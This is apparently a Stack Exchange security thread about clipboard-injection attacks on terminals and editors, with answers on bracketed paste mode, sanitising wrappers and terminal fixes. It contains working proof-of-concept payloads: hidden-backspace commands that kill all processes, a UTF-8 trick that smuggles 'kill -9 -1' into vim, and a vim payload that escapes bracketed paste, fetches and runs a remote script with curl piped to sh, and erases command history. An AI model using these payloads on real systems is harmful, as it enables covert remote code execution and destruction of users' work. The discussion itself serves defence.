Clipboard abuse from websites

Many websites use JavaScript or CSS to stealthily insert or replace text in the user's clipboard whenever they copy information from the page. As far as I know this is mostly used for advertising purposes, but PoC for exploits have been demonstrated.

However I discovered that one does not even need JS or CSS to craft an exploit that has malicious effects when pasted in a terminal. Pasting hidden backspace characters can change the whole meaning of a shell command. Pasting in a term-based editor isn't safe either. Pasting Esc then :! can cause a running Vim instance to execute a shell command. Pasting ^X^C will quit Emacs and/or even cat. Pasting ^Z will stop mostly any term-based editor and return to the shell.

What makes it worse is that many trusted websites do not sanitise these non-printable characters. Twitter filters out Esc but not backspace. Pastebin.com doesn't appear to filter out anything. Neither does Stack Exchange, hence the following exploit (WARNING: malicious code, DO NOT copy and paste into a Unix terminal!!) that could very well be crafted into something worse and more likely to be pasted by a victim:

echo '.!: keS i3l ldKo -1+9 +2-1' > /tmp/lol
echo ':!. keS i3l ldKo -2+9 +7-1' >> /tmp/lol
echo '.:! keS i3l ldKo -3+9 +4-1' >> /tmp/lol
sleep 1
md5sum /tmp/lol

Edit: Raw backspaces are now filtered by Stack Exchange, so this PoC requires &# escapes. /Edit

Here is how Chrome renders it:

Screenshot from Chrome

Firefox isn't fooled as easily, but still remains oblivious to the JS or CSS approach:

Screenshot from Firefox

And when pasted into a terminal, it just kills all the user’s processes.

What to do?

What this basically tells me is that I should never, ever, copy anything from a web page and paste it into a terminal application. Well, great. My work environment is basically 1 web browser and 40 terminal windows/tabs. I copy and paste code snippets all the time.

Now, is there anyone who can protect me from my own bad habits (which, honestly, I don’t think are that bad)? Browser vendors? Terminal vendors? Clipboard system vendors? A third-party application maybe?

  • 22
    Great question! I don't really have any convenient answer for you, short of what I'm doing - using an intermediary text editor (set to display all non-printable characters) for clipboard operations and inspect actual copied contents there before pasting it somewhere like a terminal window, or even into files to compile. It becomes your second nature in a while, and I suggest always having one instance of your favorite text editor running for such tasks. One of the first things you learn being involved with IT security is there is no such thing as WYSIWYG. ;)
    – TildalWave
    Commented Jul 18, 2013 at 0:49
  • 1
    @Simon - This question is a fair bit more specific and that possible duplicate question sadly doesn't provide to this question here relevant answers. Make users inadvertently copy something they didn't intend to can be achieved by other means than by resorting to JavaScript. For example, there could be a 1x1 pixel DIV with CSS properties set to match its color to background color of text and a hidden overflow between any of the two words in some text, or even individual letters. What I'm saying is, this question is also about exploiting visual representations of texts, not just clipboard. ;)
    – TildalWave
    Commented Jul 18, 2013 at 0:56
  • The problem with protecting is that you at some times want to copy/paste such characters. Else I would tend to go for an approach to use the clipboard to sanitize the input.
    – Uwe Plonus
    Commented Jul 18, 2013 at 6:06
  • 5
    @Simon that other question is about websites reading the user’s clipboard, which should never happen anyway. My question is about websites writing to the clipboard, which unfortunately happens all the time. Commented Jul 18, 2013 at 6:28
  • I'm using Firefox for Android and I don't see unprintable chars for some reason. And by the way you can easily hide unprintable characters by using font where they are blank.
    Commented Sep 14, 2016 at 18:55

7 Answers 7


Note that as of version 292, xterm removes ASCII control characters except \b, \r, \t, DEL (0x7f) and \n (it converts \n to \rs like other terminals), and you can bring them back with the allowPasteControls resource. VTE (the terminal emulator library used by gnome-terminal, terminator, xfce-terminal...) also does it since October 2015

So in those terminals, ^C, ^[, ^D, ^Z, ^\, ^U, ^W are no longer a problem but DEL, \b, \t (very dangerous with some configurations (including the default one) of zsh where completion can expand command substitutions), \r and \n still are.

xterm also has a couple of paste modes that can help here.

  • the bracketed paste mode enabled with the \e[?2004h sequence as used in some zsh or vim safe-paste plugins.

    zsh (zle) since 5.1 (2015), bash (readline) since 4.4 (2016), fish since 2.6.0 (2017) now have support for that built in. In versions of bash prior to 5.1 (late 2020), you need to enable it manually with bind 'set enable-bracketed-paste on' in bash (or in the readline configuration in ~/.inputrc or /etc/inputrc).

    This one wraps the selection between \e[200~ and \e[201~.

    Most other modern terminals like VTE-based ones (gnome-terminal, xfce-terminal, terminator...), rxvt, konsole, OS/X Terminal now also support that one.

    In some of those other terminals (or versions thereof) though (or with allowPasteControls in xterm), that's flawed in that \e[201~ may appear in the selection, and would be taken as the closing bracket.

    That could be fixed by bracketing like \e\e[201~\e[200~201~, but it's not done by any terminal emulator yet AFAIK (and would mean the application would see several pastes).

    ^C/^Z/^\ would also still cause signals to be sent to the foreground process group of the terminal if ISIG was not disabled in the tty line discipline.

  • The quoted paste mode enabled with the \e[?2005h sequence (disabled with \e[?2005l).

    This one prepends every character (actually byte) with a ^V character.

    ^V is the default lnext (literal next) character of the tty line discipline in canonical mode, and is also recognised as such by vi and other editors and some line editors like readline or zsh's zle.

    That one doesn't have the same problem as the bracketed mode above, and has the benefit to work for the terminal canonical mode (like when you do cat > file) and a few other applications but has a few drawbacks:

    • newline and CR end up being rendered as ^M. That can be avoided with another escape sequence: \e[?2006h, but that causes the newlines to be inserted as NUL characters in vim and show up as ^J (unless you do stty -echoctl) in the terminal canonical mode (though it's only a cosmetic issue).
    • That doesn't work great for multi-byte characters which are not inserted properly in zle or vim for instance.
    • some visual applications don't handle ^V as literal next, so you may still have to turn it off selectively.
    • you can't use it in vim as ^V 1 for instance doesn't insert 1 but ^A there.
    • I'm not aware of any other terminal beside xterm supporting it, but then I've not done an extensive survey.

It also lets you define your own bracketed paste mode via configuration. For instance, with:

XTerm*allowPasteControls: true
XTerm.VT100.translations: #override \
  Ctrl Shift<KeyPress> Insert: \
    insert-formatted("\033[202~%S~%s", CLIPBOARD,PRIMARY,CUT_BUFFER0)'

it would insert the CLIPBOARD/PRIMARY/CUT_BUFFER0 as ^[[202~<size-in-bytes>~<content> upon Shift+Ctrl+Insert. The application could then interpret that reliably (it would still need to disable ISIG in the tty line discipline though).

Another approach would be to use a pseudo-tty wrapper that inserts those ^V only in front of control characters. Such wrapper should be able to detect control characters in pastes with some reliability because real keyboard keypresses would only send one character at a time or a sequence of characters starting with ESC, while pastes would send several at a time.

You'd still have the problem of newlines shown as ^J in the terminal canonical mode or ^@ in vim, but that could be worked around with with some cooperation by the shell

A proof of concept:

To be used for instance as:

./safe-paste bash

To start a bash shell under that wrapper.


use IO::Pty;
use IO::Stty;

my $pty = new IO::Pty;
my $pid = fork();
die "Cannot fork" if not defined $pid;
unless ($pid) {
  my $slave = $pty->slave();
  close $pty;

  open(STDIN,"<&". $slave->fileno())
    or die "Couldn't reopen STDIN for reading, $!\n";
  open(STDOUT,">&". $slave->fileno())
    or die "Couldn't reopen STDOUT for writing, $!\n";
  open(STDERR,">&". $slave->fileno())
    or die "Couldn't reopen STDERR for writing, $!\n";

  close $slave;

  die "Cannot exec(@ARGV): $!";

$SIG{WINCH} = sub {

my $old = IO::Stty::stty(\*STDIN, '-g');
IO::Stty::stty(\*STDIN, 'raw', '-echo');
$tty = fileno($pty);
my ($rin,$ein) = ('','','');
vec($rin, 0, 1) = 1;
vec($rin, $tty, 1) = 1;
vec($ein, $tty, 1) = 1;
my ($to_stdout, $to_tty) = ('', '');
my $eof;
$SIG{CHLD} = sub {$eof = 1};
until ($eof && $to_stdout eq '' && $to_tty eq '') {
  my ($rout,$wout,$eout,$timeleft);
  my $win = '';
  vec($win, 0, 1) = 1 if ($to_stdout ne "");
  vec($win, $tty, 1) = 1 if ($to_tty ne "");
  ($nfound,$timeleft) = select($rout=$rin,$wout=$win,$eout=$ein,undef);
  if ($nfound > 0) {
    if (vec($eout, $tty, 1)) {
      print STDERR "Exception on $tty\n";
    if (vec($rout, 0, 1)) {
      my $buf;
      if (sysread(STDIN, $buf, 4096)) {
        if ($buf =~ /.[\0-\037\177]/ || $buf =~ /^(?:[\0-\032\034-\037]|\033.*?[~a-zA-NP-Z])./) {
          $buf =~ s/[\0-\037\177]/\026$&/g;
          # TODO: add UTF-8 sanitizing
          $buf =~ y/\r/\n/;
        $to_tty .= $buf;
      } else {
        $eof = 1;
        vec($rin, 0, 1) = 0;
    if (vec($rout, $tty, 1)) {
      my $buf;
      if (sysread($pty, $buf, 4096)) {
        $to_stdout .= $buf;
      } else {
        $eof = 1;
        vec($rin, $tty, 1) = 0;
        $to_tty = '';
    if ($to_tty ne '' && vec($wout, $tty, 1)) {
      my $written = syswrite($pty, $to_tty);
      $to_tty = substr($to_tty, $written) if $written;
    if ($to_stdout ne '' && vec(wout, 1, 1)) {
      my $written = syswrite(STDOUT, $to_stdout);
      $to_stdout = substr($to_stdout, $written) if $written;
END{IO::Stty::stty(\*STDIN, $old)}

A better approach would probably be to use a clipboard manager where you can specify the paste mode and that would flag potentially dangerous selections.

  • When pasting controls is disabled then there is no need for the bracketed paste mode, right? Commented Apr 18, 2018 at 10:32
  • @maxschlepzig, yes, there's still a problem with TAB, ^H, ^?, and the bracketed paste lets you paste several lines as one paste, which you can then review before executing, while otherwise each line is executed as it is pasted. Commented Apr 18, 2018 at 11:05

You might have guessed this, but never use the terminals pasting functionality to paste things into vim/emacs. It's like sending a batch of commands to the editor, that can do anything.

For these reasons, editors have their own copy-pasting functionality, which cannot be injected. For instance, in vim, you should use the + register to exchange data with the system clipboard ("+p for pasting).

Regarding the shell or other terminal applications: It has been established, that you must not paste unsafe data into your terminal.

There is a safe-paste plugin for zsh, which prevents code from actually running when pasted, but someone has already exploited it anyways.

Also, a similiar question (about accidental pasting) has been asked on apple.se. Most of the solutions might also work for you.

Update: In vim, if set mouse=a is used, pasting with the middle mouse button is safe. You can still paste with shift-Insert though.

  • 7
    With "+p, that assumes a version of vim built with X support, and that vim has access to the X display that holds the relevant X selection (for instance, it wouldn't work after a ssh (without -X/-Y)). Commented Mar 4, 2014 at 12:52
  • That safe-paste zsh plugin is safe with recent versions of xterm (since 292) in its default configuration since xterm now discards most control characters (including ESC). Note that it only works for the zsh prompt, not for other applications (though some applications like vim could also be extended to do something similar) Commented Mar 4, 2014 at 12:57
  • 3
    The topic of secure copy/pasting has been treated by the Qubes OS team. Their conclusion is to validate/white-list all the data that goes through a clipboard, and that is what you need to do whenever two mutually distrusting principals need to interact. Might be worth mentioning that rule of thumb. Commented May 11, 2015 at 15:57
  • This makes it sound like it can never be made safe to paste in a terminal shell prompt. I provided an answer that does work to make the terminal shell prompt invulnerable to both exploits on the page you linked to.
    – JoL
    Commented Apr 19, 2018 at 21:58

Well, it turns out that my current approach to clipboarding is good at mitigating this.

When copy pasting snippets between tabs, I just copy paste normally.

However, when copy pasting into a terminal/PuTTY session, I (being a bit averse to editing the text in the terminal), usually assemble it in Notepad++ or Emacs (depending on OS) and then copy-paste the final text into the terminal. Both editors show control characters (and other non-printable characters), so it's easy to notice any skullduggery there.

I unfortunately can't claim that I use the intermediate-text editor approach for security reasons, it's because I'm not yet adept at vim or any other terminal-based editor.

  • 1
    But then, there might be paste exploits in the editors as well, as others have pointed out.
    – HRJ
    Commented Nov 27, 2014 at 6:21

I could claim that any copy&paste of code snippets is a bad habit, but that's side-stepping the issue. I personally type such code elements instead of copying them, but that's because I usually want to change some things in them, or learn how to do the task at hand; or maybe I am just a raving maniac.

What you could do is to automatically sanitize clipboard contents. A background application may constantly monitor cut buffer contents and remove control characters; I am not sure that X11 can be coaxed into sending an event for a cut buffer change, but polling 10 times per second would do the trick. The X11 duality (cut buffers vs selections) will make things a bit more complex but I believe this can be done (and, moreover, I believe you can do it).

Sanitizing contents can be tricky. For instance, suppose that you remove all bytes in the 0..31 range (the ASCII control characters) except newline (10), carriage return (13) and tabulations (9). Then, if I write this (Linux system):

printf "\xC0\x9B:!kill -9 -1\n" | xclip

and then I paste that into a vim instance running in xterm (in UTF-8 mode), then I kill all my processes... though the cut buffer never contains any "unwanted" control character at any point. The sequence C0 9B is not valid UTF-8, but close enough so that xterm will try to decode it anyway, and it decodes to 0x1B, aka Escape... other tricky sequences include E0 80 9B. Note that while valid UTF-8 never includes a byte of value C0, it may contain bytes of value E0, 80 and 9B (but not in that sequence). The sanitizing process thus had better be thorough and strict.

An added functionality of such a tool would be to automatically convert CR+LF sequences, and lone CR, into LF. Possibly convert the bloody CP-1252 characters from the 128..159 range into their sane, standard counterparts. This is not only a security issue; it could be a useful tool in non-malicious situations.

  • This is crazy! :P Imagine having a random process altering the clipboard!
    – droope
    Commented Nov 1, 2013 at 0:40
  • this should be implemented as an option for Klipper
    – Ohad Cohen
    Commented Nov 1, 2013 at 1:46
  • Note that xterm already removes all ASCII ctrl (0x0 to 0x31) except \b (unfortunately), \r, \n and \t (unless you tell it not to with the allowPasteControls resource). Commented Mar 2, 2014 at 22:01
  • It seems it's vim, not xterm that turns C0 9B to 1B. Commented Mar 4, 2014 at 12:10
  • It's the tty line discipline's role (software in the kernel) to convert CR to LF on input when required. xterm and most if not all other X11 terminal emulators actually do convert LF to CR in pastes as the return/enter key sends CR, not LF. Commented Jan 15, 2016 at 11:14

I solved this problem for myself recently by running my web browser in a virtual machine. The x selection is not sync'd between the VM and the host so it's no longer possible for me to mindlessly middle-click paste stuff from the web into a terminal.

  • 6
    But does that prevent you from copying anything at all from websites? If so, that seems like too high a price to pay in the security vs. convenience tradeoff.
    – Pistos
    Commented Sep 15, 2015 at 14:19
  • In Virtualbox you can define the direction the clipboard is allowed to sync (host->guest, guest->host, or bi-directional) and you can change the setting easily (on the fly with a keymap if you really want to be paranoid AND lazy).
    – dragon788
    Commented Nov 20, 2017 at 19:24

It goes a lot deeper than embedded line edits where you would at least see what ended up happening; or at least see that something was being hidden. I could post a benign-looking code fragment like this:

let t_BE="\<esc>[?2004[201~:call system('(curl -s https://pastebin.com/raw/zSBiFpKn|sh)&')
:call histdel('cmd','zSBiFpKn')

Then try to induce people to copy-paste it into a specific text editor in a specific terminal emulator by, for example, suggesting that it's necessary to mitigate an issue (maybe even a security issue) that the two have when operating together.

The preformatted text above shows a benign vim setting, but it includes an image and uses its alt text to include the following payload when copied:

\e[201~\e:call system('(curl -s https://pastebin.com/raw/zSBiFpKn|sh)&')
:call histdel('cmd','zSBiFpKn')

(the control codes are embedded as &#nn; escapes in the markdown source, but I've modified them for clarity, here)

If you copy the above text you can confirm that you picked up the payload with a command like:

xsel | hexdump -C

This string assumes that the target is using vim from within a vulnerable terminal emulator, and not using the X11 clipboard feature. It starts with the escape sequence to exit bracketed paste mode so that subsequent control characters are treated as keystrokes, then another escape to exit insert mode, and then two commands:

:call system('(curl -s https://pastebin.com/raw/zSBiFpKn|sh)&')

to download and execute a shell script in the background, and:

:call histdel('cmd','zSBiFpKn')

to delete the two commands (or any commands with the matching string) from command history so they're not discovered later. And it ends with the command to re-enter insert mode and the escape sequence to re-enter bracketed paste mode, so that things are consistent when the terminal adds the final escape to exit bracketed paste mode.

If bracketed paste mode is not available then a little extra technobabble appears in the string pasted into the buffer, but otherwise things should still work.

Since both commands return immediately there's a good chance that they'll be complete before the next screen retrace, and so the screen will not glitch. Issuing the two commands separately ensures that they fit on an 80-column terminal -- if the command line has to be expanded to more than one line the screen update is a lot more complicated, and slower, so the screen can glitch (depending on system and terminal, I guess).

If everything works out the attack occurs invisibly to the user, and they think they've successfully pasted the text they saw into their buffer and nothing else has happened. There'll be a discontinuity in their command history numbering, but no obvious explanation for that.

To round this out into an answer; this demonstration is mostly historical. Bracketed paste mode is widely supported, and in most terminals it's not possible to break it with embedded escapes (check this and upgrade/report as needed). You should configure your shell and your editors and anything else you're likely to paste into to enable bracketed paste mode.

  • My browser (Firefox) still copies this text. And this isn't new at all, this is a well-known issue.
    – forest
    Commented Apr 10, 2018 at 9:00
  • @forest, it's been a known attack vector for at least 20 years; and yet your browser remains vulnerable and you're telling me it's old news? I did test on Firefox before posting, specifically to ensure that I wasn't demonstrating something still viable. Why aren't you up to date?
    – sh1
    Commented Apr 10, 2018 at 15:43
  • Also note, I posted this PoC on the copy-paste centre of the internet. Anybody who's copied something from Stack Exchange and pasted into a terminal window has to ask themselves if they've been compromised without ever realising.
    – sh1
    Commented Apr 10, 2018 at 15:51
  • Being old news and still being a viable threat are not mutually exclusive. And my browser is up to date. I am using the latest version of Firefox ESR. Note that, last I checked (a year or so ago), this was viable for Chromium as well. I was not aware that any browsers have even made an attempt to mitigate this broad class of issues.
    – forest
    Commented Apr 11, 2018 at 1:26
  • 1
    @forest, I might have been totally wrong about other browsers. It turns out there was something odd about the image link I was using that nulled the alt text (on most browsers). No idea how that worked but by changing the image the payload becomes available everywhere.
    – sh1
    Commented May 3, 2018 at 0:40

What I do to protect against this is use bracketed paste mode. Like Stéphane said, zsh and urxvt support it by default. If you limit yourself to only pasting when in a zsh prompt in urxvt, the only real problem you have left (I see no problem with ^C or ^Z causing signals in the prompt) is that the paste could contain the escape sequence to end the paste and interpret the rest as if typed.

Fixing this pending issue is what this answer is about. I'll write what I did for my case, but this should also be doable in other terminals, if not by extension then by patch.

urxvt supports perl extensions. I wrote this in ~/.urxvt/ext/filter-paste:

sub on_tt_paste {
    my ($term, $octets) = @_;
    $octets =~ s/\x1b\[201~//g;
    return true;

included it in the list of perl extensions to load in ~/.Xresources:

URxvt.perl-ext-common: filter-paste

and reloaded the configuration for new terminal windows with xrdb ~/.Xresources.

With that, urxvt removes all instances of the closing paste mode escape sequence from what's being pasted in the terminal.

The webpage, http://thejh.net/misc/website-terminal-copy-paste, has 2 examples of exploits for this as of this writing. Before writing the extension, zsh with urxvt would be invulnerable for the first example, but not for the second which includes the escape sequence for ending paste mode. After writing it, neither worked, and the full content of what was pasted would be displayed in the prompt, waiting for an Enter before executing (zsh will not execute a command pasted with bracketed paste mode even if it contains newlines until you press Enter).

EDIT: Prompted by sh1's comment, I tested other terminal emulators to see which were still vulnerable.

| terminal       | version | fixed  |
| yakuake        |   3.0.5 | ok     |
| gnome-terminal |  3.28.1 | ok     |
| konsole        | 18.04.0 | ok     |
| xterm          |     332 | ok     |
| sakura         |   3.5.0 | ok     |
| vte3           |  0.52.1 | ok     |
| putty          |    0.71 | ok     |
| termite        |      14 | ok     |
| st             |   0.8.1 | failed |
| qterminal      |  0.14.1 | failed |

All versions are those currently present at the time of writing in the Archlinux package repos (Archlinux is rolling release).

  • 1
    Most terminals aren't vulnerable to escape injection. Urxvt is the last remaining terminal I know of with the vulnerability. PuTTY should be fixed in snapshot.
    – sh1
    Commented May 3, 2018 at 0:57
  • @sh1 You're right. I tested some terminals and added a table to show which are OK and which are still vulnerable.
    – JoL
    Commented May 3, 2018 at 15:48
  • 1
    PuTTY should be fixed, now.
    – sh1
    Commented Mar 23, 2019 at 6:57
  • @sh1 I've confirmed and updated the table. Thanks.
    – JoL
    Commented Mar 23, 2019 at 15:19

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .